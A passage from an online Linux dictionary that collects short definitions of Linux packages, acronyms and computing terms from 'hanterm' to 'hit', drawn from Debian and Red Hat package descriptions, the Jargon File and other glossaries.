X terminal emulator with Hangul support Hanterm is a replacement for xterm that supports Hangul input and output; It is a modified of the xterm program from XFree86. Hanterm uses it own native input system and does not require an X input method server. For hanterm to work properly, a Hangul-encoded font must be available; xfonts-bakemuk are all appropriate for this purpose. From

Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hanzim

Chinese character learning aid Hanzim is a program designed to help you memorize characters by helping you internalize their various systematicities. It displays lists of characters with the same radicals, same remaining parts, and same pronunciations. Along with the characters it displays pinyin pronunciations and lists of compounds. The program is also useful simply as a convenient dictionary. You can look up characters and compounds by radical or pinyin. More information available at: <http://zakros.ucsd.edu/~arobert/hanzim.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAP

Host Access Protocol (RFC 907/1221) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

happy

The Parser generator for Haskell. This is the nth public release of our parser generator system for Haskell, called Happy (a dyslexic acronym for 'A Yacc-like Haskell Parser generator'). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Happy Linux

A Chinese Linux distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hard boot

A boot initiated by hardware. This could be a computer power-up, a press of its reset button, or even a hardware glitch. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hard drive

Shorthand for hard disk drive, a hard drive is a device that stores, retrieves, and executes computer data and software. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hard link

One of several directory entries which refer to the same Unix file. A hard link is created with the "ln" (link) command. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hard Links

UNIX allows the data of a file to have more than one name in separate places in the same file system. Such a file with more than one name for the same data is called a hard-linked file and is similar to a symbolic link. Try touch mydata; ln mydata mydataB; ls -al. The files mydata and mydataB are indistinguishable. They share the same data, and have a 2 in second column of the ls -al listing. This means that they are hard-linked twice (that there are two names for this file). The reason why hard links are sometimes used in preference to symbolic links is that some programs are not fooled by a symbolic link: If you have, say, a script that uses cp to copy a file, it will copy the symbolic link instead of the file it points to. [cp actually has an option to override this behavior.] A hard link, however, will always be seen as a real file. On the other hand, hard links cannot be made between files on different file systems nor can they be made between directories. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hard-link

A directory entry, which maps a filename to an inode, number. A file may have multiple names or hard links. The link count gives the number of names by which a file is accessible. Hard links do not allow multiple names for directories and do not allow multiple names in different filesystems. From Linux Administrator's Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hard-wired

A processing function built in to the computer's electronic circuits instead of facilitated by program instructions. To improve computer performance, computer designers include circuits that perform

specific functions, such as multiplication or division, at higher speeds. These functions are hard-wired. The term hard-wired also refers to the program instructions contained in the computer's read-only memory (ROM) or firmware. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hardcoded

adj. 1. [common] Said of data inserted directly into a program, where it cannot be easily modified, as opposed to data in some profile, resource (see de-rezz sense 2), or environment variable that a user or hacker can easily modify. 2. In C, this is esp. applied to use of a literal instead of a #define macro (see magic number). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

harddrake

The harddrake service is a hardware probing tool run at system boot time to determine what hardware has been added or removed from the system. It then offer to run needed config tool to update the OS configuration. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

harddrake-ui

This is the main configuration tool for hardware that calls all the other configuration tools. It offers a nice GUI that show the hardware configuration splitted by hardware classes. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hardden

Makes your system hardened. This package is intended to help the administrator to improve the security of the system, or at least make the host less susceptible. NOTE! This package will not make your system uncrackable, and it is not intended to do so. Making your system secure involves a LOT more than just installing a package. You are recommended to read at least some documents in addition to installing this package. The documents can be found in the hardden-doc package. This is of course just a start because there are LOT of information on how to make your system more secure.

For more information on how to secure your system see:

<http://www.debian.org/doc/manuals/securing-debian-howto/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hardden

The word "hardden" implies putting a shell around a computer in order to protect it from intruders. In order to hardden a system, you should consider the following techniques: Patch the OS with the latest security fixes. For example, when the "ping-of-death" DoS attack came out, many people needed to patch their TCP/IP stacks to defend against it. Patch the exposed services with the latest security fixes. For example, many third-party mail servers have been vulnerable to buffer overflow exploits. These are normally fixed a few weeks after being published in the hacker community. Therefore, you need to regularly check with the software vendor for the latest patch. Remove all defaults. In order to make their software easy-to-use, vendors include default accounts, default passwords, and samples. However, these can generally be exploited by hackers. You MUST read security guidelines for the particular OS or software package (especially web-server) and carefully remove these defaults/samples, or your box WILL be hacked. For example, most Microsoft IIS 4 web-servers can be compromised with either the .htr buffer overflow or RDO exploits, because webmasters forget (or don't know) to turn them off. Remove all unnecessary services. For example, most Sun Solaris based systems can be hacked through the RPC services. Install packet filtering software. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hardden-3rdflaws

Avoid packages with security problems. Harden-3rdflaws is intended to help the administrator to avoid packages that are known to give 3rd parties (like connected web browsers or similar) problems in form of insecure code. If you want to avoid packages that remote users can use to compromise the system you should look at the hardden-remoteflaws instead. If you want to avoid packages that local users can use to compromise the system you should look at the hardden-localflaws instead. NOTE! This package will not make the 3rd party host uncrackable, and it is not intended to do so. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

harden–environment

Hardened system environment. Harden–environment provides a hardened system environment, or at least helps the administrator to configure such an environment. Right now this include packages for local intrusion detection. NOTE! This package will not make your system uncrackable, and it is not intended to do so. Making your system secure involves a LOT more than just installing a package. For more information on how to secure your system see:

<http://www.debian.org/doc/manuals/securing–debian–howto/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

hardware compatibility

The condition wherein a computer component or peripheral is capable of functioning with software or operating systems. From Redhat–9–Glossary

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Hardware error control

Encoding an error–control protocol such as MNP4 or V.42, in the modem rather than in a communications program. Hardware error control frees the central processing unit (CPU) from the responsibility of catching and correcting errors. From QUECID

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Hardware reset

Restarting the system by pushing the computer's reset button or programmer's switch. A hardware reset might be necessary after a system crash so severe that you can't use the keyboard restart command (Ctrl+Alt+Del) to restart the computer. From QUECID

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

hardwired

adj. 1. In software, syn. for hardcoded. 2. By extension, anything that is not modifiable, especially in the sense of customizable to one's particular needs or tastes. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Harrison, Geoff "Mandrake"

a senior software engineer for VA Research. He's most commonly known as Mandrake, author of the mandrake.net "Current News" diary and the major contributor to the Enlightenment window manager. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

HAS

High Availability Subsystem (Bull) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

hasciicam

ascii for the masses Hasciicam makes it possible to have live ASCII video on the web. It captures video from a tv card and renders it into ascii, formatting the output into an html page with a refresh tag or in a live ASCII window or in a simple text file as well, giving the possibility to anybody that has a bttv card. a linux box and a cheap modem line to show a live ASCII video feed that can be browsable without any need for plugin, java etc. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

hash (one–way hash, message digest, cryptographic checksum)

A cryptographic operation where an entire message is run through some mathematical operations resulting in a fixed–length (e.g. 128–bit) string that is probably unique. This "hash" has two important properties: It is "one–way"; given a hash, somebody cannot figure out what input message generated the output hash. It is unique; there is more chance of an asteroid hitting the earth and wiping out all life than two messages accidentally hashing to the same value. No two messages should produce the same Example: Some common uses of hashes are: Creating an encryption key from a text password. Creating a unique "fingerprint" of a message that is then encrypted with a private key in order to sign a message. Create unique fingerprints of files in order to detect when they have changed. Example: The program "tripwire" detects intrusions by calculating a hash of all programs/binaries. On a regular basis, it recalculates the hash. If a file has changed, then the hash will also have changed. Tripwire

then "trips" whenever the latest calculated hash of the file does not match the one stored in its database. Example: Some common hash algorithms are: SHA-1 If you need to choose a hash algorithm, this is probably the best one to choose (unless speed is the paramount concern). Of the most popular hash algorithms, this is currently (year 2001) considered to be the most secure. MD5 In the year 2001, more data is probably being hashed by MD5 than any other algorithm. However, a lot of people recommend moving to SHA-1 because of weaknesses discovered in MD5. RIPEMD MD4 A historically significant hash algorithm, but useless by today's standards. See also: integrity From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAT

Hashed Address Table From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hatman

Customizable high-resolution Pacman clone You have three lives, and you lose a life if you get eaten by a ghost. If you eat all the little dots on a level, you go onto the next level (if we've bothered including any). At the edge of the screen there may be passageways apparently going nowhere – if you follow one you will wrap all the way around and appear at the other side of the screen, yes – really, as if by magic you have been transported from one side of the screen to the other, and the ghosts won't know what's hit 'em. Also, every now and then some fruit might appear at the edge of the screen. Being a healthy-eating sort of guy, hatman loves fruit, so you should go and eat it – it's extra points, you know. But the icing on the cake is the power-pellets. Eat one of these and the tables are turned. The ghosts turn gray (as one does, when one is scared) and now it's your turn to do some serious getting. Whilst the ghosts remain gray you can eat them – getting more points for each one you eat, once you eat them their eyes (hatman doesn't like the eyes – they give him indigestion) run back to the ghost's base and gets a new body. Don't worry about them turning back too suddenly – you will get a bit of a warning first. It's easy, and it's great fun. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HAVI

Home Audio Video Interoperability (org., Grundig, Hitachi, Matsushita, Philips, Sharp, Sony, Thomson, Toshiba) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Haydar Linux

This distribution will be available in Arabic, Dutch and English with more languages to follow. The Arabic support appears to be very comprehensive. The first beta release of Haydar was announced May 4, 2002. Beta 2 was released November 4, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hayes command set

A standardised set of instructions used to control modems. Common Hayes commands include the following: AT (Attention, used to start all other commmands), ATDT (Attention, dial in tone mode), ATDP (Attention, dial in pulse mode), +++ (Enter the commnad mode during the commnication seesion), ATH (Attention, hangup). From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hayes compatible modem

A modem that reconises the Hayes command set. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HBA

Host Bus Adapter (SCSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HBCI

HomeBanking Computer Interface Internet, banking, Germany, HBCI From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HE

HoehenEinheit [1HE = 19"] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HEA

Hyundai Electronics of America (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

head

output the first part of files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

head

The mechanism that reads data from or writes data to a magnetic disk or tape. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Header

Repeated text such as a page number and a short version of a document's title, that appears at the top of the pages in a document. Also the beginning of a Usenet or email message. The header contains important information about the sender's address the subject of the message, and other information. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

heartbeat

n. 1. The signal emitted by a Level 2 Ethernet transceiver at the end of every packet to show that the collision-detection circuit is still connected. 2. A periodic synchronization signal used by software or hardware, such as a bus clock or a periodic interrupt. 3. The 'natural' oscillation frequency of a computer's clock crystal, before frequency division down to the machine's clock rate. 4. A signal emitted at regular intervals by software to demonstrate that it is still alive. Sometimes hardware is designed to reboot the machine if it stops hearing a heartbeat. See also breath-of-life packet. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

heartbeat

Subsystem for High-Availability Linux heartbeat is a basic heartbeat subsystem for Linux-HA. It will run scripts at initialisation, and when machines go up or down. This version will also perform IP address takeover using gratuitous ARPs. It works correctly for a 2-node configuration, and is extensible to larger configurations. It implements the following kinds of heartbeats: * Bidirectional Serial Rings ("raw" serial ports) * UDP/IP broadcast (ethernet, etc) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HEC

Header Error Check From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HEC

Header Error Control (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HECTOR

HEterogeneous Computer TOgetheR (IBM, Uni Karlsruhe, Germany) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

heimdal

Heimdal is a free implementation of Kerberos 5, that aims to be compatible with MIT Kerberos. This package includes servers like telnetd and ftpd that have been compiled with Heimdal support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

heimdal-kdc

KDC for Heimdal Kerberos Heimdal is a free implementation of Kerberos 5, that aims to be compatible with MIT Kerberos. This package includes the KDC (key distribution centre) server, which is designed to run on a secure computer and keeps track of users passwords. This is done using the Kerberos protocol in such a way that the server computers do not need to know user's passwords. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

heise-register

register of the magazines c't, iX, Elrad and Gateway This package installs an online register of the famous German computer and electronic magazines published by Heise: * c't – magazin für computer technik (12/1983 – 20/2001) * iX (11/1988 – 10/2001) * Elrad (1994 – 1997) * Gateway (1/1993 – 6/1997) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HEL

Hardware Emulation Layer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HEL

Header Extension Length From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hello

The classic greeting, and a good example The GNU hello program produces a familiar, friendly greeting. It allows nonprogrammers to use a classic computer science tool which would otherwise be unavailable to them. Seriously, though: this is an example of how to do a Debian package. It is the Debian version of the GNU Project's `hello world' program (which is itself an example for the GNU Project). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

help2man

Automatic manpage generator Program to create simple man pages from the --help and --version output of other programs. Since most GNU documentation is now in info format, this provides a way to generate a placeholder man page pointing to that resource while still providing some useful information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HEMT

High Electron Mobility Transistor From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HEPNET

High Energy Physics NETWORK (network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

herbix

Herbix is a Linux server that fits on a floppy. It supports ipchains and can serve FTP, HTTP, IRC, DHCP, SMTP, and IDENT. Version 1.0-25 was released April 1, 2002. Version 1.0-67 was released January 4, 2003. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hercules

System/370, ESA/390 and z/Architecture Emulator Hercules is an open source software implementation of the mainframe System/370 and ESA/390 architectures, in addition to the new 64-bit z/Architecture. This means that your PC can emulate an IBM mainframe processor. The mainframe can range from a 360 to a z900 – running in "System/370" mode, "ESA/390" mode, or "z/Architecture" mode. Hercules executes S/370, ESA/390, and z/Architecture instructions and channel programs. It emulates mainframe I/O devices by using PC devices. For example, 3390 DASD devices are emulated by large files on your hard disk, and local 3270 screens are emulated by tn3270 sessions. Hercules implements only the raw S/370, ESA/390, and z/Architecture instruction set; it does not provide any operating system facilities. This means that you need to provide an operating system or standalone program which Hercules can load from an emulated disk or tape device. You will have to use a free software operating system such as Linux, write the operating system or standalone program yourself, obtain a license – from IBM to run one of their operating systems on your PC, or use IBM programs and operating systems which have been placed in the public domain. Virtual networking can be accomplished using the TUN/TAP driver in 2.2 and 2.4 kernels. For older kernels, try the vmnet package. Hercules was created by Roger Bowler and is maintained by Jay Maynard. Jan Jaeger designed and implemented many of the advanced features of Hercules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HERMES

Heuristic Emergency Response Management Expert System (XPS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hermes1

The Hermes pixel-format library Hermes is a library that does the dirty work of a graphics library or application that nobody else wants to do, and it does it fast because the effort is concentrated on just that. The thing nobody wants to do is conversion between pixel formats – between all pixel formats that is, not between any two. There are handwritten assembler routines in Hermes that should make anything look fast. An application or library that uses Hermes will for example be able to render into one buffer and convert it to whatever pixel format is available on the target platform at the time. Other services provided by Hermes include palette handling including caching of lookup tables, and surface clearing to a specific colour value. See <http://www.clanlib.org/> for more info From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HERODE

Handling the Electronic Representation of mixed text – image Office Documents based on ECMA standard 101 (ESPRIT, SNI, TITN, ECMA, ODA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

heroes

Collect powerups and avoid your opponents' trails Heroes is similar to the "Tron" and "Nibbles" games of yore, but includes many graphical improvements and new game features. In it, you must maneuver a small vehicle around a world and collect powerups while avoiding obstacles, your opponents' trails, and even your own trail. Several styles of play are available, including "get-all-the-bonuses", deathmatch, and "squish-the-pedestrians". All game styles can be played in both single-player and two-player (split-screen) modes. You should install the heroes-sound-effects package if you want sound effects, and the heroes-sound-tracks package if you want background music in the game. These packages are quite large (especially heroes-sound-tracks), so you might want to try the game out before installing them. This package contains a small number of common files for the GGI and SDL versions of heroes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HES

Home Electronic System (SNI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HES

Honeywell Executive System (OS, Honeywell 800) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hesiod

Hesiod is a system which uses existing DNS functionality to provide access to databases of information that changes infrequently. It is often used to distribute information kept in the /etc/passwd, /etc/group, and /etc/printcapfiles, among others. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hesiod

Name service for network authentication and access. Replaces local authentication files such as /etc/passwd and /etc/group. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hesiod

Utilities for Project Athena's service name resolution protocol Hesiod is a name service library that can provide general name service for a variety of applications. It is derived from BIND, the Berkeley Internet Name Daemon, and leverages the existing DNS infrastructure of a network. It is used on a number of university networks, including MIT and Iowa State University. If you will not be using this system on a network that already uses Hesiod, you probably do not need this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hevea

A fast and powerful LaTeX to HTML translator HeVeA is a LaTeX to HTML translator. Its remarkable features are – It produces good output. By default (can be turned off) it uses the symbol

face for math symbols. Either way it usually avoids generating zillions of picture files. – It is highly configurable through (La)TeX macros. Though aimed at LaTeX input it understands a fair subset of TeX' macro language. – It runs fast. This version of HeVeA is patched to generate by default PNG picture files instead of GIF. See also <http://para.inria.fr/~maranget/hevea/index.html>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hex

hexadecimal dumping tool for Japanese hexdump program that distinguish Japanese 2bytes code character. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hex (hexadecimal)

In computer science, the word hexadecimal means base-16 numbers. These are numbers that use digits in the range: 0123456789ABCDEF. In the C programming language (as well as Java, JavaScript, C++, and other places), hexadecimal numbers are prefixed by a 0x. In this manner, one can tell that the number 0x80 is equivalent to 128 decimal, not 80 decimal. Key point: Hex is so important because 4-bits have 16-possible combinations. Therefore, a 4-bit value can be represented by a single hex digit. In this manner, every byte (8-bits) can be represented by two hex digits. Key point: Script kiddies tend to dismiss hexadecimal as one of those "unnecessary details". In reality, you must be able to comfortably do hex math in your head, and freely convert with binary. You should also be able to interpret hexdumps, where a block of data is dumped out into columns of hex numbers. A tutorial for this is at <http://www.robertgraham.com/pubs/sniffing-faq.html#hexadecimal>. Key point: My mother, an otherwise avowed computerphobe, calculates her age in hex. She is in her early 0x30s. (For those who cannot do the math as well as my mom, $0x30 == 3 * 16 == 48$). From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hexadecimal

n. Base 16. Coined in the early 1960s to replace earlier 'sexadecimal', which was too racy and amusing for stuffy IBM, and later adopted by the rest of the industry. Actually, neither term is etymologically pure. If we take 'binary' to be paradigmatic, the most etymologically correct term for base 10, for example, is 'denary', which comes from 'deni' (ten at a time, ten each), a Latin 'distributive' number; the corresponding term for base-16 would be something like 'sendenary'. "Decimal" comes from the combining root of 'decem', Latin for 10. If wish to create a truly analogous word for base 16, we should start with 'sedecim', Latin for 16. Ergo, 'sedecimal' is the word that would have been created by a Latin scholar. The 'sexa-' prefix is Latin but incorrect in this context, and 'hexa-' is Greek. The word 'octal' is similarly incorrect; a correct form would be 'octaval' (to go with decimal), or 'octonary' (to go with binary). If anyone ever implements a base-3 computer, computer scientists will be faced with the unprecedented dilemma of a choice between two correct forms; both 'ternary' and 'trinary' have a claim to this throne. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hexcourse

A ncurses-based hex editor with many features HexCourse is a versatile ncurses-based hex editor written in C that provides the user with many features. It currently supports searching, hex, and decimal address output, jumping to specified locations in a file, and quick keyboard shortcuts to commands. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hexdump

ASCII, decimal, hexadecimal, octal dump From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hexedit

view and edit files in hexadecimal or in ASCII. hexedit shows a file both in ASCII and in hexadecimal. The file can be a device as the file is not whole read. You can modify the file and search through it. You have also copy&paste and save to file functions. Truncating or appending to the file. Modifications are shown in bold. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hextype

Hexdump according to DOS Debug output format The output consists of 3 columns. Each row contains up to 16 characters. The first column contains the address of the row (in 16-byte words). In the second column each byte is represented by its hexadecimal value (00 to FF), and in the third are the bytes as printable characters. Unlike od -c, hextype does not print unprintable chars with a two-character escape sequence. They are replaced by a dot. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hexxagon

Hexagonal Ataxx clone for GTK The goal of the game is to conquer as much of the board as possible. This is done by capturing the opponent's pieces or by cloning your own. The board is a hexagon built from smaller hexagons. Hexxagon is just like Ataxx apart from the board design. The Ataxx board is square and the Hexxagon board is hexagonal. This is the GTK xivVersion From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

heyu

heyu - 2 way x10 communications for the CM11A heyu' is similar to the package 'x10', differing mainly in the controller supported (this package supports CM11A, 'x10' supports the CP290) X-10 modules are devices that plug into an electrical outlet and allow you to remotely control the power to a lamp or an appliance that is plugged into them. There are also X-10 modules that install in place of wall switches to control lights, fans, and many other appliances. This package supports the CM11A Interface (from Radio Shack), which supports two-way communication. This allows for devices such as motion detectors to trigger scripts on your system, turning lights on, updating web pages, or send you e-mail. See: <http://heyu.tanj.com/> For more information From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HF

Have Fun (slang, Usenet, IRC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HFC

Hybrid Fiber Coax [network] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HFD

Hauptanschluss fuer Direkturf / Datenleitung (Telekom), "HfD" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HFDS

Highly Functional Distributed System (MTRON) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HFS

Hierachical File System (Apple, CD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hfsplus

tools to access HFS+ formatted volumes HFS+ is a modernized version of Apple Computer's HFS Filesystem. Nowadays, it is widely used with more recent versions of MacOS. Unfortunately, it is not yet supported by the Linux kernel. hfsplus consists of a library and set of tools that allow access to HFS+ volumes. This package contains the tools themselves. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hfsutils

Tools for reading and writing Macintosh volumes. HFS is the native Macintosh filesystem format. This package contains several command-line utilities for reading and writing Macintosh HFS-formatted media such as floppy disks, CD-ROMs, and hard disks. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HFT

High Function Terminal (AIX, IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HGA

Hercules Graphics Adapter From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HGC

Hercules Graphics Card From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HHI

Heinrich Hertz Institut Org., Germany From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HI

Hochschulverband Informationswissenschaften (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIC

Human Interaction Component From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIC

Hybrid Integrated Circuit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HID

Human Interface Device (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIDAM

Hierarchical Indexed Direct Access Method (DAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hidden file

A file with a name that begins with a period (.) on UNIX and Linux systems. They are called hidden because they are not shown by default during a directory listing or in a file manager. For example, user configuration files are often hidden to prevent accidental deletion or modification. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hidden flag

n. [scientific computation] An extra option added to a routine without changing the calling sequence. For example, instead of adding an explicit input variable to instruct a routine to give extra diagnostic output, the programmer might just add a test for some otherwise meaningless feature of the existing inputs, such as a negative mass. The use of hidden flags can make a program very hard to debug and understand, but is all too common wherever programs are hacked on in a hurry. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIFD

High capacity Floppy Disk (Sony, Fuji), "HiFD" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIFI

Hypertext Interface For Information (ESPRIT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIFIVE

High Fidelity Interactive Visual Environment (DEC), "Hi-FIVE" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIFT

Hardware Implemented Fault Tolerance (SIFT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIGGENS

Human Interface Graphical GENERation System (Uni Colorado) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

high bit

n. [from `high-order bit'] 1. The most significant bit in a byte. 2. [common] By extension, the most significant part of something other than a data byte: "Spare me the whole saga, just give me the high

bit." See also meta bit, hobbit, dread high-bit disease, and compare the mainstream slang 'bottom line'. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

High Siera

An obsolete standard for encoding data onto CD-ROMs. Although similar to High Sierra, the widely used ISO 9660 standard is incompatible. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

high-level language

computer language that can be used on many different computer systems. By contrast, a low-level language refers to specific hardware locations and is inseparable from a specific hardware architecture. Another name for low-level language is assembly language. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hindent

Reformats HTML code This utility reformats HTML code to be properly indented/nested for improved readability. You can indent the existing lines as-is, or totally reformat the code to have one tag per line. Hindent is useful in deciphering software-generated HTML code when it's all just one huge line, or help you find that last missing end-tag, or deal with code victimized by creeping featurism. Written in Perl for Unix. Understands all HTML 3.2 nestable tags. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HINT

Hierarchical INTeegration [benchmark] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIPERLAN

High PERformance Radio Local Area Network (LAN, ETSI, EN 300 652) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIPPI

High Performance Parallel Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIPPI

High Performance Peripheral Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HIRD

HURD of Interface Representing Depth (GNU, HURD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HISAM

Hierarchical Indexed Sequential Access Method (SAM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HISP

High SPeed channel connector (Cray, I/O) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HispaFuentes

HispaFuentes is a Red Hat compatible distribution. Version 8.0 contains Ximian 1.4, KDE 2.1, CUPS and much more. Spanish distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

histchars

The two or three characters which control history expansion and tokenization (see HISTORY EXPANSION below). The first character is the history expansion character, that is, the character which signals the start of a history expansion, normally '!'. The second character is the quick substitution character, which is used as shorthand for re-running the previous command entered, substituting one string for another in the command. The default is '^'. The optional third character is the character which signifies that the remainder of the line is a comment, when found as the first character of a word, normally '#'. The history comment character causes history substitution to be

skipped for the remaining words on the line. It does not necessarily cause the shell parser to treat the rest of the line as a comment. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

history

In the C shell and the Korn shell, a list of command lines (or events) previously executed by a user.

From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hit

